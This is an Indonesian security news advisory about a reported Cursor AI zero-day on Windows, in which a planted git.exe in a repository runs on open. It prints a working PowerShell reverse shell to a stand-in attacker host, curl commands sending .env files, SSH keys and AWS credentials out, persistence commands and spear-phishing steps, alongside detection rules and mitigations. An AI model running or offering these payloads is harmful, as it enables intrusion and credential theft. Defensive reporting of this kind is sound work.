Lewati ke konten utama
SERAPHIM NEWS
▲ KRITIS

Zero-Day Cursor AI: Remote Code Execution via Malicious Git Repository — Membuka Project Git Saja Sudah Cukup untuk Mengkompromikan Mesin Developer

17 Juli 2026 Seraphim News 14 mnt baca
Zero-Day Cursor AI: Remote Code Execution via Malicious Git Repository — Membuka Project Git Saja Sudah Cukup untuk Mengkompromikan Mesin Developer

Ringkasan Eksekutif

Pada Juli 2026, peneliti keamanan mengungkap kerentanan zero-day yang belum ditambal di Cursor AI — salah satu AI-powered code editor paling populer dengan jutaan pengguna aktif. Kerentanan ini memungkinkan Remote Code Execution (RCE) di sistem Windows hanya dengan membuka repositori Git berbahaya — tanpa memerlukan interaksi pengguna lebih lanjut.

Mekanisme serangannya sangat sederhana namun mematikan: attacker membuat file git.exe yang dikonstruksi khusus dan menempatkannya di repositori Git. Ketika developer membuka repositori tersebut di Cursor AI, aplikasi secara otomatis mengeksekusi file git.exe tersebut dalam proses yang dianggap sebagai bagian dari operasi Git normal. Hasilnya: arbitrary code execution di mesin developer.

Yang membuat kerentanan ini sangat berbahaya:

  • Tidak memerlukan interaksi — cukup buka repositori, tidak perlu klik apa pun
  • Tidak ada peringatan — eksekusi terjadi secara silent di background
  • Zero-day — belum ada patch resmi saat artikel ini ditulis
  • Target bernilai tinggi — developer memiliki akses ke kode sumber, secrets, database, dan infrastruktur deployment

Apa Itu Cursor AI dan Mengapa Ini Penting

Profil Cursor AI

Cursor AI adalah AI-powered code editor berbasis VS Code yang mengintegrasikan large language models untuk membantu developer menulis, mengedit, dan memahami kode. Dengan fitur seperti AI code completion, chat dengan codebase, dan automated refactoring, Cursor telah menjadi salah satu tools paling populer di kalangan developer profesional.

CURSOR AI — PROFIL SINGKAT

CURSOR

Nama Produk : Cursor AI Basis : VS Code (open source fork) Pengguna Aktif : Jutaan (estimasi) Platform : Windows, macOS, Linux Fitur Utama : AI code completion, chat, agent mode Target User : Professional developer, software engineer MENGAPA TARGET BERHARGA:

  • Developer memiliki akses ke source code
  • Akses ke secrets (.env, API keys, tokens)
  • Akses ke database dan infrastruktur cloud
  • Akses ke CI/CD pipeline dan deployment credentials
  • Akses ke private SSH keys
  • Kepercayaan dari sistem — dev machine seringkali di-whitelist untuk akses ke production

Mengapa Target Developer Sangat Bernilai

Developer adalah target paling berharga dalam organisasi teknologi. Satu mesin developer yang terkompromi memberikan attacker akses ke:

  • Source code — termasuk proprietary algorithms dan intellectual property
  • Secrets dan kredensial — API keys, database passwords, cloud service tokens
  • Infrastruktur deployment — SSH keys, VPN configs, Kubernetes kubeconfigs
  • Internal tools — akses ke GitHub, GitLab, Jira, Slack, dan internal wikis
  • CI/CD pipelines — kemampuan untuk memodifikasi kode yang masuk ke produksi

Detail Kerentanan

PROFIL KERENTANAN CURSOR AI ZERO-DAY

PROFIL

Kerentanan : Arbitrary Code Execution via git.exe Status : ZERO-DAY — Belum ditambal Platform : Windows (belum dikonfirmasi di macOS/Linux) Attack Vector : Local file execution (via Git repository) Attack Complexity: Low Privileges Req. : None (berjalan dengan privileges user) User Interaction: Membuka repositori Git (satu tindakan) Dampak : Full code execution di mesin developer VERSI TERDAMPAK:

  • Cursor AI versi < terbaru (per 17 Juli 2026)
  • Semua versi yang belum menerima patch (belum dirilis) VERSI AMAN:
  • Belum ada — patch dalam pengembangan

Root Cause

Kerentanan ini berakar pada cara Cursor AI menangani operasi Git, khususnya bagaimana ia menemukan dan mengeksekusi binary git.exe. Cursor AI memeriksa keberadaan Git dalam beberapa lokasi, dan — dalam kondisi tertentu — memprioritaskan git.exe yang berada dalam direktori proyek yang sedang dibuka.

ROOT CAUSE — PATH RESOLUTION ISSUE

ROOT

Saat Cursor AI membuka repositori Git, ia perlu menemukan binary Git untuk operasi seperti:

  • Menampilkan status Git di sidebar
  • Membaca Git history (blame, log)
  • Menampilkan diff dan perubahan
  • Menjalankan Git hooks Urutan pencarian binary Git oleh Cursor AI:
  1. PATH environment variable 2. Konfigurasi Cursor (git.path) 3. Lokasi instalasi default 4. [MASALAH] Direktori kerja / repositori yang sedang dibuka Jika file bernama git.exe ada di root repositori, Cursor AI mungkin mengeksekusinya sebagai binary Git — tanpa verifikasi lebih lanjut bahwa binary tersebut adalah Git yang sah.

Anatomi Eksploitasi: File git.exe Berbahaya

Konstruksi Payload

# PSEUDOCODE: Membuat malicious git.exe untuk Cursor AI exploit
# Berdasarkan analisis peneliti keamanan

import os
import shutil
import subprocess

# 1. Buat payload executable
# Bisa berupa:
# - Script yang dikompilasi (PyInstaller, Go, Rust)
# - Batch script yang di-wrap sebagai executable
# - DLL side-loading via legitimate git.exe

# 2. Payload: Reverse shell sederhana sebagai contoh
malicious_code = '''
@echo off
:: Payload utama — memberikan reverse shell ke attacker
powershell -WindowStyle Hidden -Command "
    $client = New-Object System.Net.Sockets.TCPClient('c2.attacker.com', 4444);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|ForEach-Object{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
        $sendback = (iex $data 2>&1 | Out-String);
        $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush()
    };
    $client.Close()
"

:: Juga melakukan operasi Git legitimate untuk menghindari kecurigaan
:: Forward semua argumen ke Git yang sebenarnya
"C:\Program Files\Git\bin\git.exe" %*
'''

# 3. Kompilasi menjadi .exe (contoh dengan PyInstaller)
# Atau: gunakan MSFVenom, atau kompilasi dari source

# Hasil: file git.exe yang:
# - Menjalankan reverse shell di background
# - Mem-forward perintah ke Git yang sebenarnya
# - Tidak menampilkan indikasi mencurigakan ke user

Mekanisme Eksekusi

# ALUR EKSPLOITASI CURSOR AI GIT.EXE

[LANGKAH 1] Attacker membuat malicious git.exe
    └── File ditempatkan di root repositori Git

[LANGKAH 2] Developer membuka repositori di Cursor AI
    └── Clone dari URL, buka existing project, atau buka folder

[LANGKAH 3] Cursor AI mendeteksi repositori Git
    └── Mencoba menjalankan operasi Git otomatis:
        - git status (untuk menampilkan status di sidebar)
        - git diff (untuk menampilkan perubahan)
        - git log (untuk history)

[LANGKAH 4] Cursor AI menemukan git.exe di root repositori
    └── Menggunakan git.exe lokal alih-alih Git yang terinstal
    └── TANPA verifikasi apakah file tersebut legitimate

[LANGKAH 5] Malicious git.exe dieksekusi
    └── Payload berjalan di background
    └── Reverse shell terhubung ke C2 attacker
    └── Operasi Git legitimate diforward ke Git asli
    └── Developer TIDAK melihat indikasi apa pun

Vektor Serangan: Social Engineering via Git Repository

Metode Distribusi

Attacker dapat mendistribusikan repositori berbahaya melalui berbagai cara:

VEKTOR DISTRIBUSI REPOSITORI BERBAHAYA

VEKTOR

  1. OPEN SOURCE CONTRIBUTION
  • Attacker mengirim PR ke repositori populer
  • PR menyertakan file git.exe “untuk keperluan build”
  • Jika PR di-merge, semua kontributor yang membuka repo akan terinfeksi
  • Supply chain attack skala besar
  1. TYPO-SQUATTING REPOSITORY
  • Attacker membuat repositori dengan nama mirip
  • Contoh: microsoft/TypeScript vs microsoft/TypeScrpt
  • Developer yang salah clone akan terinfeksi
  • Juga berlaku untuk dependency confusion
  1. “COOL PROJECT” SOCIAL ENGINEERING
  • Attacker membagikan repositori “menarik” di:
  • Twitter/X, Reddit, Hacker News
  • Discord developer communities
  • LinkedIn posts
  • Judul: “AI-powered code analyzer”, “Revolutionary tool”
  • Developer penasaran → clone → buka → terinfeksi
  • Target: developer yang ingin mencoba teknologi baru
  1. MALICIOUS TUTORIAL / BLOG POST
  • Blog post: “Cara Membangun X dengan Cursor AI”
  • Tutorial menyuruh developer clone repositori tertentu
  • Repositori berisi malicious git.exe
  • Target: developer yang mengikuti tutorial
  1. COMPROMISED LEGITIMATE REPOSITORY
  • Attacker mendapatkan akses ke repositori legitimate
  • Menambahkan git.exe ke repositori
  • Semua developer yang membuka repositori terinfeksi
  • Sangat sulit dideteksi — repositori legitimate

Social Engineering yang Ditargetkan

Untuk organisasi bernilai tinggi, attacker dapat melakukan spear-phishing yang sangat ditargetkan:

  1. Identifikasi developer yang menggunakan Cursor AI (via LinkedIn, Twitter, GitHub activity)
  2. Teliti teknologi stack organisasi target
  3. Buat repositori palsu yang tampak relevan dengan pekerjaan mereka
  4. Kirim email personal: “Saya membuat library untuk integrasi [teknologi Anda] dengan [framework yang Anda gunakan] — mungkin berguna untuk project Anda. Ini repositorinya.”
  5. Developer membuka repositori — terinfeksi

Dampak: Dari IDE ke Full Machine Compromise

Apa yang Bisa Dilakukan Attacker Setelah RCE

Setelah mendapatkan code execution di mesin developer, attacker bisa:

# POST-EXPLOITATION DI MESIN DEVELOPER

# 1. EKSFILTRASI SOURCE CODE
# Mencuri semua kode dari direktori proyek
tar -czf /tmp/exfil.tar.gz ~/projects/
curl -X POST -F "file=@/tmp/exfil.tar.gz" https://c2.attacker.com/upload

# 2. MENCURI SECRETS
# Mencari file environment, konfigurasi, dan kredensial
find ~/ -name ".env*" -exec curl -X POST -F "file=@{}" https://c2.attacker.com/upload \;
cat ~/.ssh/id_rsa | curl -X POST -d @- https://c2.attacker.com/sshkey
cat ~/.aws/credentials | curl -X POST -d @- https://c2.attacker.com/creds

# 3. MENCURI GIT CREDENTIALS
# Mengakses token Git yang tersimpan
cat ~/.git-credentials
git config --global --list | grep credential

# 4. LATERAL MOVEMENT
# Menggunakan SSH keys untuk mengakses server lain
ssh -i ~/.ssh/id_rsa user@production-server

# 5. PERSISTENCE
# Menanam backdoor untuk akses berkelanjutan
schtasks /create /tn "WindowsUpdate" /tr "powershell -enc BASE64_PAYLOAD" /sc daily
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CursorUpdate" /t REG_SZ /d "C:\Users\victim\AppData\Local\backdoor.exe"

# 6. SUPPLY CHAIN COMPROMISE
# Menyisipkan malware ke dalam kode yang akan di-commit
# Developer yang tidak curiga akan meng-commit dan mem-push kode berbahaya
# Malware menyebar ke production melalui CI/CD pipeline

Dampak Berantai

DAMPAK BERANTAI KOMPROMI DEVELOPER

DAMPAK

  • [1 Developer Machine] Akses ke source code, secrets, SSH keys, tokens | v
  • [2 Source Code Repository] Attacker bisa push malicious code, curi IP | v
  • [3 CI/CD Pipeline] Kode berbahaya masuk ke build dan deployment | v
  • [4 Production Environment] Malware berjalan di production servers | v
  • [5 Customer Data / Services] Data pelanggan terekspos, layanan terganggu

Mengapa AI Coding Assistants Rentan

Permukaan Serangan Baru

AI coding assistants seperti Cursor, GitHub Copilot, dan Codeium memperkenalkan permukaan serangan baru yang belum sepenuhnya dipahami:

PERMUKAAN SERANGAN AI CODING ASSISTANTS

PERMUKAAN

  1. AUTOMATED CODE EXECUTION
  • AI assistants secara otomatis menjalankan tools
  • Git, linter, formatter, package manager
  • Tidak ada prompt ke user — semua otomatis
  • Attacker bisa memanfaatkan eksekusi otomatis ini
  1. WORKSPACE TRUST ASSUMPTION
  • AI assistants mengasumsikan workspace adalah trusted
  • “Developer membuka project, jadi project tersebut aman”
  • Asumsi ini salah — project bisa dari mana saja
  • Tidak ada sandboxing untuk operasi workspace
  1. DEPENDENCY ON EXTERNAL BINARIES
  • AI assistants bergantung pada tools eksternal
  • Git, Node.js, Python, compiler
  • PATH resolution yang salah = eksekusi binary palsu
  • Tanpa verifikasi signature atau integrity check
  1. AI-GENERATED CODE EXECUTION
  • AI assistants menghasilkan dan mengeksekusi kode
  • Kode yang dihasilkan bisa dieksploitasi
  • Prompt injection bisa memanipulasi output
  • Agent mode: AI bisa menjalankan arbitrary commands
  1. EXTENSION ECOSYSTEM
  • AI assistants menggunakan VS Code extensions
  • Extensions memiliki akses luas ke sistem
  • Malicious extension = full system compromise
  • Supply chain dalam extension marketplace

Pelajaran dari Insiden Sebelumnya

Cursor AI bukan yang pertama — dan tidak akan menjadi yang terakhir. Beberapa insiden serupa:

  • GhostApproval (Juni 2026) — AI coding assistant ditipu untuk meng-approve malicious code
  • Agentic AI workflow exploitation — AI agents yang menjalankan command tanpa verifikasi
  • Prompt injection di AI assistants — manipulasi output untuk mengeksekusi perintah berbahaya

Pola yang muncul: AI assistants menambahkan lapisan otomatisasi dan kepercayaan implisit yang dapat dieksploitasi. Semakin banyak otonomi yang diberikan kepada AI assistants, semakin besar permukaan serangannya.

Produk Terdampak dan Status Patch

Produk Status Detail
Cursor AI (Windows) Terdampak — belum dipatch Zero-day, per 17 Juli 2026
Cursor AI (macOS) Belum dikonfirmasi Investigasi sedang berlangsung
Cursor AI (Linux) Belum dikonfirmasi Investigasi sedang berlangsung
VS Code (tanpa Cursor) Tidak terdampak Mekanisme berbeda untuk Git discovery
GitHub Copilot Tidak terdampak Arsitektur berbeda
Windsurf / Codeium Belum dikonfirmasi Perlu investigasi lebih lanjut

Indikator Kompromi

File System Indicators

# YARA rule untuk mendeteksi malicious git.exe di project directory
rule CursorAI_Malicious_GitEXE {
    strings:
        $s1 = "git.exe" nocase
        $s2 = "reverse shell" nocase
        $s3 = "TCPClient" nocase
        $s4 = "HiddenStyle" nocase
    condition:
        uint16(0) == 0x5A4D and  // MZ header (Windows executable)
        2 of ($s2, $s3, $s4)
}

Behavioral Indicators

BEHAVIORAL IOC — CURSOR AI EXPLOIT
=========================================================

Process Activity:
├── Cursor.exe spawns git.exe dari project directory
│   (bukan dari C:\Program Files\Git\bin\)
├── git.exe membuat koneksi jaringan keluar
│   (Git legitimate tidak melakukan ini ke unknown IP)
├── git.exe spawns powershell.exe, cmd.exe, atau proses lain
└── git.exe memodifikasi registry atau scheduled tasks

Network Activity:
├── Outbound connection ke IP/domain tidak dikenal
├── Koneksi ke non-standard ports (4444, 8080, dll.)
├── Data exfiltration dalam volume besar
└── Beaconing ke C2 server

File System Activity:
├── File git.exe di root repositori (bukan di .git/)
├── File baru di %APPDATA% atau %TEMP%
├── Modifikasi di startup folder atau registry Run keys
└── Scheduled task baru dengan nama mencurigakan

Deteksi Manual

# PowerShell: Periksa apakah ada git.exe di lokasi tidak standar
Get-ChildItem -Path C:\ -Filter git.exe -Recurse -ErrorAction SilentlyContinue |
    Where-Object { $_.FullName -notmatch "Program Files\\Git" } |
    Format-Table FullName, Length, LastWriteTime

# Periksa proses mencurigakan yang dispawning dari Cursor
Get-WinEvent -LogName Security |
    Where-Object { $_.Id -eq 4688 -and $_.Message -match "Cursor" } |
    Select-Object TimeCreated, Message

# Periksa scheduled tasks baru
Get-ScheduledTask | Where-Object { $_.Date -gt (Get-Date).AddDays(-7) }

# Periksa autorun registry keys
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Mitigasi dan Workaround

Tindakan Segera untuk Developer

MITIGASI UNTUK DEVELOPER CURSOR AI

MITIGASI

  • [TINDAKAN SEGERA]
  1. JANGAN BUKA REPOSITORI TIDAK DIKENAL
  • Hindari clone repositori dari sumber tidak terpercaya
  • Khusus: repositori yang dibagikan via social media
  • Verifikasi sumber sebelum clone
  1. PERIKSA SEBELUM MEMBUKA
  • Sebelum membuka project di Cursor: ls -la | grep git.exe (PowerShell: dir git.exe)
  • Jika ada git.exe di root project — HAPUS
  • Git yang sah TIDAK PERNAH berada di root project
  1. BATASI EKSEKUSI GIT
  • Hapus git.exe dari PATH lokal project
  • Set git.path di Cursor settings ke lokasi absolut (C:\Program Files\Git\bin\git.exe)
  • Verifikasi di Settings > Git > Path
  1. ISOLASI LINGKUNGAN DEVELOPMENT
  • Gunakan VM atau container untuk project tidak dikenal
  • Jangan gunakan dev machine utama untuk eksperimen
  • Pisahkan development environment pribadi dan kerja

Konfigurasi Cursor AI yang Lebih Aman

// Cursor settings.json — konfigurasi yang lebih aman
{
  // Tentukan path absolut ke Git
  "git.path": "C:\\Program Files\\Git\\bin\\git.exe",

  // Nonaktifkan fitur otomatis yang mungkin mengeksekusi Git
  "git.autorefresh": false,
  "git.autofetch": false,

  // Nonaktifkan Git operations otomatis saat membuka project
  "git.enabled": true,
  "git.ignoreMissingGitWarning": false,

  // Batasi eksekusi otomatis
  "extensions.autoUpdate": false,
  "cursor.agent.enabled": false,

  // Verifikasi sebelum menjalankan command
  "cursor.commandPalette.confirmBeforeExecution": true
}

Implikasi untuk Ekosistem Developer

Pergeseran Paradigma Keamanan

Kerentanan Cursor AI ini memaksa kita untuk memikirkan ulang asumsi dasar tentang keamanan development environment:

1. “Clone dan buka” bukan lagi operasi yang aman

Selama bertahun-tahun, developer terbiasa dengan workflow: lihat repositori menarik di Twitter, clone, buka di editor, mulai eksplorasi. Kerentanan ini menunjukkan bahwa workflow tersebut bisa berakibat fatal. Hanya dengan membuka repositori di editor yang rentan, mesin developer bisa terkompromi.

2. AI assistants memperluas permukaan serangan

Semakin banyak otomatisasi yang dilakukan editor/AI assistant, semakin banyak peluang bagi attacker. Setiap fitur yang secara otomatis menjalankan tools (Git, linter, formatter, package manager) adalah vektor serangan potensial.

3. Kepercayaan implisit pada tools development harus dipertanyakan

Developer secara implisit mempercayai editor, compiler, package manager, dan tools development lainnya. Kerentanan seperti ini menunjukkan bahwa tools tersebut tidak kebal terhadap eksploitasi — dan ketika tools yang dipercaya berubah menjadi ancaman, dampaknya sangat besar.

Rekomendasi untuk Organisasi

REKOMENDASI UNTUK ORGANISASI

REKOMENDASI

  1. DEVELOPMENT ENVIRONMENT HARDENING
  • Standardisasi editor dan versi yang digunakan
  • Policy: hanya clone dari organisasi GitHub/GitLab
  • Pre-commit hooks untuk deteksi malicious files
  • Regular audit development machines
  1. NETWORK SEGMENTATION UNTUK DEVELOPER
  • Development machines di VLAN terpisah
  • Batasi akses development ke production
  • Gunakan jump box/bastion untuk akses production
  • Monitor outbound traffic dari dev machines
  1. SECRETS MANAGEMENT
  • JANGAN simpan secrets di .env atau kode sumber
  • Gunakan secrets manager (Vault, AWS Secrets Manager)
  • Rotasi secrets jika mesin developer dicurigai
  • Gunakan temporary credentials, bukan long-lived keys
  1. CODE REVIEW UNTUK KEAMANAN
  • Review perubahan untuk file mencurigakan
  • Deteksi otomatis: git.exe, malicious scripts
  • Pre-receive hooks di Git server
  • Block file dengan nama berbahaya di repositori

Kesimpulan

Zero-day Cursor AI adalah peringatan serius tentang risiko yang muncul dari AI-powered development tools. Kerentanan ini menunjukkan bahwa fitur yang membuat AI assistants begitu powerful — otomatisasi, eksekusi tools, dan integrasi mendalam dengan development workflow — juga menciptakan permukaan serangan yang luas dan belum sepenuhnya dipahami.

Sampai patch resmi dirilis, kehati-hatian adalah pertahanan terbaik. Jangan membuka repositori dari sumber yang tidak dikenal. Periksa keberadaan file git.exe di root project sebelum membuka di Cursor AI. Konfigurasikan git.path ke lokasi absolut. Dan yang paling penting: sadari bahwa “clone dan buka” bukan lagi operasi yang sepenuhnya aman.

Ini adalah masalah yang lebih luas dari sekadar Cursor AI. Setiap tool development yang secara otomatis mengeksekusi binary dari project workspace — tanpa verifikasi yang memadai — rentan terhadap pola serangan yang sama. Industri perlu mengembangkan standar keamanan baru untuk development tools, termasuk sandboxing, binary verification, dan workspace trust models yang lebih ketat.

Developer adalah high-value target. Mesin developer memiliki akses ke source code, secrets, infrastruktur deployment, dan seringkali production environment. Mengkompromikan satu developer bisa menjadi pintu masuk ke seluruh infrastruktur organisasi. Ancaman ini bukan sekadar masalah teknis — ia adalah masalah keamanan enterprise yang memerlukan perhatian di level tertinggi.

Artikel ini disusun berdasarkan laporan peneliti keamanan independen, analisis teknis kerentanan, dan pemantauan threat landscape oleh tim Threat Intelligence Seraphim News. Sampai patch resmi dirilis, developer disarankan untuk mengikuti mitigasi yang dijelaskan di atas.

Recommended Intelligence Reading